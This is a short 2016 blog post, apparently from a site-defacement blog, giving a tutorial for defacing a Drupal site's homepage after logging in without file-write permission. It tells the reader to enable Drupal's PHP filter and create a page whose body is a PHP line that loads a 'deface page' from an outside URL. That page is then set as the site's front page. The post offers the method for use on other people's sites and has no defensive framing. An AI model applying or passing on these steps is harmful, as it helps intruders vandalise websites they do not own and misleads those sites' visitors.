Facebook massage

Tuesday, December 27, 2016

[TuT] Deface Homepage of Drupal sites when you don't have write permission in home directory

[TuT] Deface Homepage of Drupal sites when you don't have write permission in home directory


Salam guys!
suppose, you got a case like : You logged into a drupal site and when tried all methods, found the site having no permission to upload anything in the main domain root directory.So, you don't have any way to show your own deface page in index of site as you can't upload any file. Let's try another technique that will help you to show your deface page! Follow me : 1.Create a basic page(turn on php filter from modules) with text formatting as 'php code' and include the below codes exactly in body section : <?php die(file_get_contents("http://url to your deface page")); ?> and save it.note the 'node/***' url. 2.Visit 127.0.0.1/admin/config/system/site-information and in front page box, put the 'node/***' url(not the whole link from address bar.only node/*** should be pasted) and save. 3.Logout from site using 127.0.0.1/user/logout visit homepage ;) :* done there! N.B : might not work on some servers.

No comments:

Post a Comment